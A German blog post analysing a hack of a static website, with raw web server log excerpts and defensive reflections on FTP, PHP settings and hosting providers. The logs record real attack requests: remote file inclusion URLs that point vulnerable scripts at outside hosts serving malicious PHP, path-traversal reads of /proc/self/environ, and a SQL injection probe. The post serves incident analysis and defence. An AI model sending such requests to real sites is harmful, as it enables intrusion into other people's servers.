37.9.53.31 - - [23/Oct/2012:20:06:51 +0200] "GET /openx/www/admin/index.php HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4" InvalidURI
37.9.53.31 - - [23/Oct/2012:20:06:52 +0200] "GET /ox/www/admin/index.php HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4" InvalidURI
37.9.53.31 - - [23/Oct/2012:20:06:52 +0200] "GET /ads/www/admin/index.php HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4" InvalidURI
37.9.53.31 - - [23/Oct/2012:20:06:52 +0200] "GET /adv/www/admin/index.php HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4" InvalidURI
37.9.53.31 - - [23/Oct/2012:20:06:53 +0200] "GET /adx/www/admin/index.php HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4" InvalidURI
37.9.53.31 - - [23/Oct/2012:20:06:53 +0200] "GET /adserver/www/admin/index.php HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4" InvalidURI
37.9.53.31 - - [23/Oct/2012:20:06:54 +0200] "GET /openads/www/admin/index.php HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4" InvalidURI
37.9.53.31 - - [23/Oct/2012:20:06:54 +0200] "GET /phpads/www/admin/index.php HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4" InvalidURI
37.9.53.31 - - [23/Oct/2012:20:06:55 +0200] "GET /phpadsnew/www/admin/index.php HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4" InvalidURI

69.27.46.42 - - [30/Oct/2012:13:05:07 +0100] "GET ////?path=http://ninoceram.ir/images/custom/rock.gif?? HTTP/1.1" 200 32804 "-" "Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0" InvalidURI
69.27.46.42 - - [30/Oct/2012:13:05:09 +0100] "GET ////?path=http://ninoceram.ir/images/custom/pop.gif?? HTTP/1.1" 200 32804 "-" "Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0" InvalidURI
69.27.46.42 - - [30/Oct/2012:13:05:10 +0100] "GET /code////?path=test?? HTTP/1.1" 200 57965 "-" "Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0" InvalidURI
69.27.46.42 - - [30/Oct/2012:13:05:12 +0100] "GET /code////?path=http://ninoceram.ir/images/custom/rock.gif?? HTTP/1.1" 200 57965 "-" "Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0" InvalidURI
69.27.46.42 - - [30/Oct/2012:13:05:14 +0100] "GET /code////?path=http://ninoceram.ir/images/custom/pop.gif?? HTTP/1.1" 200 57965 "-" "Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0" InvalidURI

199.193.188.162 - - [04/Nov/2012:18:05:47 +0100] "GET /code/aspnetsitemap.htm%22%20target=%22_blank//wp-content/themes/magazinum/scripts/timthumb.php?src=http://picasa.com.copiinet.ro/wordpress.php HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6"
199.193.188.162 - - [04/Nov/2012:18:05:48 +0100] "GET //wp-content/themes/magazinum/scripts/timthumb.php?src=http://picasa.com.copiinet.ro/wordpress.php HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6"
199.193.188.162 - - [04/Nov/2012:18:05:49 +0100] "GET /code//wp-content/themes/magazinum/scripts/timthumb.php?src=http://picasa.com.copiinet.ro/wordpress.php HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6"

190.144.187.188 - - [06/Nov/2012:13:43:11 +0100] "GET /code/aspnetsitemap.htm%22%20target=%22_blank/Store_ViewProducts.asp?Cat=' HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6"
190.144.187.188 - - [06/Nov/2012:13:43:13 +0100] "GET /Store_ViewProducts.asp?Cat=' HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6"
190.144.187.188 - - [06/Nov/2012:13:43:14 +0100] "GET /code/Store_ViewProducts.asp?Cat=' HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6"

62.80.124.139 - - [13/Nov/2012:14:04:43 +0100] "GET /vbulletin/ HTTP/1.1" 302 212 "http://www.forumseek.net" "Mozilla/5.0 (compatible; http://www.forumseek.net/ BOT_2.1; +http://www.forumseek.net)"
62.80.124.139 - - [13/Nov/2012:14:04:43 +0100] "GET /board/ HTTP/1.1" 302 212 "http://www.forumseek.net" "Mozilla/5.0 (compatible; http://www.forumseek.net/ BOT_2.1; +http://www.forumseek.net)"
62.80.124.139 - - [13/Nov/2012:14:04:43 +0100] "GET /phpbb/ HTTP/1.1" 302 212 "http://www.forumseek.net" "Mozilla/5.0 (compatible; http://www.forumseek.net/ BOT_2.1; +http://www.forumseek.net)"
62.80.124.139 - - [13/Nov/2012:14:04:43 +0100] "GET /phpBB/ HTTP/1.1" 302 212 "http://www.forumseek.net" "Mozilla/5.0 (compatible; http://www.forumseek.net/ BOT_2.1; +http://www.forumseek.net)"
62.80.124.139 - - [13/Nov/2012:14:04:43 +0100] "GET /cgi-bin/yabb/YaBB.pl HTTP/1.1" 302 212 "http://www.forumseek.net" "Mozilla/5.0 (compatible; http://www.forumseek.net/ BOT_2.1; +http://www.forumseek.net)"
62.80.124.139 - - [13/Nov/2012:14:04:44 +0100] "GET /cgi-bin/yabb/YaBB.cgi HTTP/1.1" 302 212 "http://www.forumseek.net" "Mozilla/5.0 (compatible; http://www.forumseek.net/ BOT_2.1; +http://www.forumseek.net)"
62.80.124.139 - - [13/Nov/2012:14:04:44 +0100] "GET /foro/ HTTP/1.1" 302 212 "http://www.forumseek.net" "Mozilla/5.0 (compatible; http://www.forumseek.net/ BOT_2.1; +http://www.forumseek.net)"
62.80.124.139 - - [13/Nov/2012:14:04:44 +0100] "GET /foros HTTP/1.1" 302 212 "http://www.forumseek.net" "Mozilla/5.0 (compatible; http://www.forumseek.net/ BOT_2.1; +http://www.forumseek.net)"

37.9.53.31 - - [15/Nov/2012:08:40:54 +0100] "GET / HTTP/1.1" 200 32746 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"
37.9.53.31 - - [15/Nov/2012:08:40:57 +0100] "GET /forums/ HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"
37.9.53.31 - - [15/Nov/2012:08:40:58 +0100] "GET /board/ HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"
37.9.53.31 - - [15/Nov/2012:08:40:58 +0100] "GET /ipboard/ HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"
37.9.53.31 - - [15/Nov/2012:08:40:58 +0100] "GET /forum/ HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"
37.9.53.31 - - [15/Nov/2012:08:40:59 +0100] "GET /ipb/ HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"
37.9.53.31 - - [15/Nov/2012:08:40:59 +0100] "GET /community/ HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"

206.221.222.202 - - [01/Feb/2013:04:13:02 +0100] "GET //index.php?option=com_econtent&controller=../../../../../../../../../../..//proc/self/environ%0000 HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 
206.221.222.202 - - [01/Feb/2013:04:13:03 +0100] "GET /events//index.php?option=com_econtent&controller=../.././../../../../../../..//proc/self/environ%0000 HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 
206.221.222.202 - - [01/Feb/2013:04:13:10 +0100] "GET //index.php?option=com_econtent&controller=../../../../../.../../../../../..//proc/self/environ%0000 HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 
206.221.222.202 - - [01/Feb/2013:04:13:12 +0100] "GET /events//index.php?option=com_econtent&controller=../../../.../..//../../..//proc/self/environ%0000 HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 

206.221.222.202 - - [01/Feb/2013:11:39:18 +0100] "GET /module.php?mod=sitemap&pgvaction=../../../../../../../../../../../../../../../../../../../../../../../..//proc/self/environ%0000 HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6"

67.214.173.54 - - [01/Feb/2013:13:53:52 +0100] "GET /wp-content/themes/shopperpress/thumbs/_tbs.php?src=http%3A%2F%2Fimg.youtube.com.disclima.ro%2Fbad.php HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6"

50.63.66.205 - - [02/Feb/2013:08:28:34 +0100] "GET /wp-content/themes/Announcement/functions/thumb.php?src=http%3A%2F%2Fpicasa.com.playteck.net%2Findeks.php HTTP/1.1" 302 212 "-" "Mozilla/5.0 (Windows; u; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6"

Im Anbetracht dieser strukturierten Versuche muss man es als höchst kritisch ansehen, Webserver ohne vorgelagerte URL-Firewall zu betreiben. Auch scheint es in vielen Produkten Lücken zu geben, so dass ich heilfroh bin, dass meine Webseite "statisch" ist.

Eine "Referer" habe ich mir mal angeschaut wie z.B. den

70.56.255.132 - - [02/Feb/2013:23:45:48 +0100] "GET /events/xxx-xxx-history HTTP/1.1" 302 212 "http://www.google.com/URL?sa=i&rct=j&q=&source=images&cd=&docid=NW4C8ndTUdkQFM&tbnid=9CsHuEKKueQJ_M:&ved=&URL=http%3A%2F%2Fmsxfaq.org%2Fevents%2Frontory&ei=GpcNUCEGoC4BQ&bvm=bv.41867550,d.cGE&psig=AFK9Pw&ust=1352354" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17"

Mittlerweile meldet Google dann ein

Ich weiß nicht, ob die Schutzfunktion neu ist und Google daher nicht mehr sofort weiter leitet. Es könnte durchaus sein, dass Google früher auch noch weiter geleitet hat.

"Erfolgskontrolle" in beide Richtungen

Nach dem Hack ist vor dem Hack ?. Es ist ja normal, dass einige Angreifer es noch nicht "glauben" können, dass eine missbrauchte Adresse nicht mehr funktioniert. So ist es nicht verwunderlich, wenn in den Logs danach auch noch Anfragen auf die Dateien zu sehen sind. Aber Notespad++ macht es auch ohne Skript einfach, mal schnell nach bestimmten Zugriffen zu suchen.

Und zeigt dann an, in welcher Datei wie viele Treffer sind:

Vor allem war aber auch die Bestätigung, dass nach der "Putzaktion" alle folgenden Zugriffe wieder mit einem 302 (Redirect auf die 404-htm) beantwortet wurden. Nun wollte ich aber natürlich wissen, welche IPs auf die schädlichen PHP-Dateien auch tatsächlich zugegriffen haben. Auch hier helfen die IISLogs wieder weiter. Ich habe nur mit Notepad++ schon gesucht und konnte hier die "erfolgreichen" 200-Zugriffe auf PHP-Dateien herausfiltern und als Datei speichern, in der die Spalten per "Leerzeichen" getrennt sind. Ein PowerShell-Einzeiler liefert dann den Rest

Import-Csv .\phpaccess.log `
   -Delimiter " " `
   | group ip -NoElement `
   | select count,name `
   | sort count -Descending
   | export-csv .\ipusingphp.csv

Mit dem interessanten Ergebnis, dass 1048 IP-Adressen die PHP-Seiten angesprochen haben aber über die die Hälfte der IP-Adressen gerade mal EINMAL zugreifen und sich die große Menge auf ein paar Adressen beschränkt.

"Zufällig" sind solche Zugriffe sicher nicht. Vielleicht wurde der Host ja "vermietet", dass andere den Zugang verwenden konnten oder die Nutzer haben ihrerseits wieder ein Netzwerk anderer ferngesteuerter Drohnen gehabt. Ich kann aus meinen Logs ja nur einen Teilansicht darstellen. Neugierig habe ich mir mal die Mühe gemacht, die ersten Adressen (http://whois.domaintools.com/ip.ip.ip.ip ) zuzuordnen.

Name Count Land, Stadt

112.215.36.175

725

Indonesien, Jakara

81.177.170.90

269

Russland, Moskau

112.215.36.172

215

Indonesien, Jakara

77.222.61.108

172

Russland, St. Petersburg

50.57.175.164

111

United States San Antonio

112.215.36.177

104

Indonesien, Jakara

82.98.160.90

103

Spanien, A Coruna

112.215.36.174

96

Indonesien, Jakara

50.17.230.183

93

United States Ashburn

31.214.144.205

83

Deutschland, Frankfurt am Main

85.159.178.172

72

Italy Torino

222.79.12.68

68

China Fuqing

78.46.78.137

67

Germany, Nürnberg

174.133.205.28

52

United States, Bakersfield

Teilweise kann man den IP-Adressen sogar einzelne Personen oder Firmen zuordnen. Ich gehe mal davon aus, dass Sie ebenfalls missbraucht werden und als "Angreifer" vermutlich nicht mit festen IP-Adressen agieren. Ich habe aber davon abgesehen, all die Besitzer anzuschreiben oder sogar Anzeige zu erstatten.

Für Firmen könnte es durchaus aber interessant sein, eine "Whitelist" von Zugriffen zu pflegen oder zu ermitteln und die Logdateien zeitnah oder in Echtzeit zu überwachen um unerwünschte "200 OK"-Meldungen sofort zu erkennen. Idealerweise durch ein alternatives Logging-Modul im Webserver oder durch die Ablage der Logs in einem SQL-Server, bei dem dann z.B. eine Stored-Procedure anschlägt.

Da die meisten Webseiten aktuell aber ohne HTTPS erreichbar sind, wäre es für viele Provider aber vermutlich auch einfach möglich, bestimmte Zugriffe schon auf der Ebene einer Firewall zu blocken. aber das ist natürlich eine andere Sache und sicher auch eine Preisfrage.

FTP-Logs und PHP

Um auszuschließen, dass jemand mein FTP-Kennwort "erspäht" haben könnte, war mir natürlich auch an den FTP-Logs gelegen. Bei 1und1 kann ich die einfach aus einem Verzeichnis herunter laden. Nachdem ich bei 1blu nachgefragt hatte, bekam ich erst die unbefriedigende Antwort, dass ich "aus Datenschutzgründen" keinen Zugriff hätte. Das war aber wohl ein Textbaustein. Im persönlichen Gespräch wurde mir dann erklärt, dass 1blu zu dem Zeitpunkt die FTP-Zugriffe gar nicht protokollieren würde. Ob das stimmt und wie Ermittlungsbehörden das sehen, kann ich nicht bewerten.

Aber bei dem Gespräch wurde ich auch darauf hingewiesen, dass PHP das Einfallstor gewesen sein könnte. Denn 1blu hatte per Default noch folgende Konfiguration aktiv:

Angeblich wäre PHP4 aus heutiger Sicht unsicher und insbesondere die Option "register_globals=on" wäre ein offenes Scheunentor, über welches Angreifer auch Zugriff erhalten könnten, obwohl es überhaupt keine PHP-Seite auf der MSXFAQ.ORG geben würde. Ob dem nun so ist und wie kritisch das zu sehen ist, bewerte ich nicht. Einige Links zeigen aber, dass diese Optionen nicht ganz unkritisch sind.

Laut diesen Beschreibung wäre die Option bei PHP 4.2 per Default auf "OFF" aber in der php.ini in der Webseite (die ich nie editiert habe), war die Option aktiv und auch die "alte" PHP4-Version. Da ich keine PHP-Seiten nutze, habe ich die Option auf OFF gestellt und auch die PHP-Version auf 5 angehoben.

Aber auch hier muss ich natürlich fragen, in wie weit Provider gerade bei Managed Paketen (keine Rootserver) hier selbst aktiv werden müssten und dem Kunden die Änderung bestimmter Default-Werte mitteilen und umsetzen müssen. Der Kunde "kann" es ja gerne wieder individuell zurückstellen. Aber ich denke an die millionen von kleinen Webseiten, die nur ein paar Daten oder Skripte enthalten und scheinbar aufgrund veralteter Default-Werte zu kapern sind. Die Webserver-Logs zeigen ja, welche URLs von Angreifern so versucht werden. Insbesondere Wordpress-Themen, die ebenfalls PHP-Dateien darstellen.

Zusammenfassung

Aktuell habe ich noch nicht alle Daten ausgewertet. Insbesondere warte ich noch auf die FTP-Logs um Gewissheit über die Zugriffe und den upload-Weg zu erhalten. Meine Gedanken habe ich mir dennoch gemacht, warum diese Veränderung so lange unentdeckt geblieben ist.

  • Kontrolle
    Selbst mit einer rein statischen Webseite, wie es die MSXFAQ ist und auf einem "Managed Server" ist man nicht sicher, dass nicht andere die "Features" missbrauchen, die auch das kleinste Webpaket erlaubt. Wenn jemand ihnen eine PHP-Datei unterschiebt, dann kann er damit unfug treiben auch wenn Sie selbst gar kein PHP nutzen.
    Aber selbst dann reicht es nicht, die Webseite selbst zu kontrollieren. Genau genommen muss man die Webseite mit einem IST-Stand in beide Richtungen vergleichen und "überzählige" Dateien so erkennen
  • Kennwortsicherheit 1
    Nach meiner aktuellen Analyse muss es dem Angreifer gelungen sein, das FTP-Kennwort zu ermitteln oder zu erraten. Das kann beim Provider (was ich nicht hoffe), bei der Übertragung per FTP (was dank SFTP nicht möglich sein sollte) oder lokal bei mir hat jemand der Kennwort abgefragt. (was ich mir kaum vorstellen kann)
  • Kennwortsicherheit 2
    Wenn aber jemand wirklich kompletten Zugriff auf das Dateisystem hat, so kann er alle Dateien auch herunterladen und betrachten. Auch Dateien, die z.B. gar nicht verlinkt sind oder per ".HTACCESS"-Datei unerreichbar sein sollten. Eine "geheime Information" hat auf einem Webserver also nichts zu suchen. Schutz durch "nicht verlinken" ist im dem Fall nutzlos. Das gilt natürlich auch für Kennworte zu einer MySQL-Datenbank, wie sie z.B. Wordpress und andere in einer Konfiguration-Datei hinterlegen. Da kann ich ja froh sein, dass die MSXFAQ nicht in einer Datenbank liegt und der geänderte Kontent nur aus einfach zu erkennenden Dateien besteht. Ein "Rollback" einer Datenbank über 2 Monate wäre deutlich aufwändiger.
  • Individuelle Zugangsdaten je System
    Ich befolge natürlich die Regel, dass ein Kennwort nicht bei anderen Diensten erneut verwendet wurde. Wenn der Angreifer wirklich die FTP-Kennung hatte, die den kompletten Webspace verändern konnte, so konnte er dennoch nicht auf die Verwaltungswebseite zugreifen. Änderungen und Anlegen von mySQL-Datenbanken, DNS-Einträgen o.ä. sollten damit nicht möglich gewesen sein.
  • Provider passen nicht auf. ?
    Ich denke die Provider könnten einen sehr viel aktiveren Part bei der Schadensabwehr übernehmen, z.B. indem sie:
    • Zugriff per FTP per Mail melden. Das macht ja Facebook mittlerweile auch
    • Webseiten auf bekannten Schadcode überwachen. ein Scheduled Scan mit ClamAV (http://www.clamav.net/) sollte sowas doch auch finden oder? Vielleicht sollte ich doch regelmäßig die komplette Webseite per SFTP mit allen (und unverknüpften) Dateien herunterladen, damit mein lokaler Virenscanner Alarm schlagen kann.
    • PHP "Ausführen beschränken
      Muss denn wirklich jede PHP-Datei in jedem beliebigen Verzeichnis ausführbar sein?. Ich würde es begrüßen, wenn man als Administrator über die Webverwaltung die Verzeichnisse oder sogar Dateien freigeben kann, die ausführbar sind. eine ".htaccess" alleine reicht da nicht wirklich, da auch die geändert werden kann.
Hinweis: Man kann sehr wohl in der ".HTACCESS" die Funktion von PHP abschalten. Hoffentlich schaltet es sonst keiner wieder an.

php_flag engine off

Quelle: http://php.net/manual/de/apache.configuration.php 
Leider ist das Ergebnis je Provider wieder anders
1und1 :    alle Seiten werden mit einem 500er Fehler ausgeliefert
1blu       alle Seiten werden mit einem 500er Fehler ausgeliefert
HostEurope Die PHP-Seiten werden nun als Download ausgeliefert
    • Schutz von Verzeichnissen
      Wäre es nicht sinnvoll per Default die Speicherung von Dateien durch den Webserver selbst auf der Webseite per Default erst mal zu unterbinden und erst über eine getrennte Webverwaltung solche "Speicherverzeichnisse" zu öffnen ?
  • Google Ranking
    Soweit ich sehen konnte, hat sich der "Vorfall" nicht auf Google ausgewirkt, auch wenn Google wohl schon ein paar der defekten Seiten gecrawled" hat. Aber die URLs in der Sitemap enthielten keinen defekten Code und innerhalb der Seite wurde auch nicht auf den "neuen" Content verlinkt.
  • Risiko für Besucher
    Soweit ich gesehen habe, wurden keine meiner Dateien verändert. Es mussten also schon Zugriffe auf "nicht vorhandene" Seiten sein, die dann vielleicht Schadcode ausliefern könnten. Aber sicher sein kann ich da nie, was in den letzten 2 Monaten noch alle passiert ist.

Auch diesmal kann ich von Glück reden, dass kein Content verändert wurde und ich sonst keine Meldungen bekommen habe, dass meine Seite als Plattform für Schadcode gewesen ist. Die Auswirkungen waren schnell beseitigt, indem ich die Webseite mit meiner lokalen Kopie verglichen und korrigiert haben. (Syncback macht das recht elegant). Allerdings würde ich schon gerne noch herausfinden, wie diese Veränderung möglich war.

Aber nach aktueller Situation muss jemand den FTP-Account gehackt haben obwohl das Kennwort ziemlich sicher war, nur verschlüsselt übertragen wurde und auch nur diese eine FTP-Site gehackt wurde. Die anderen Provider waren nicht betroffen.

Weitere Links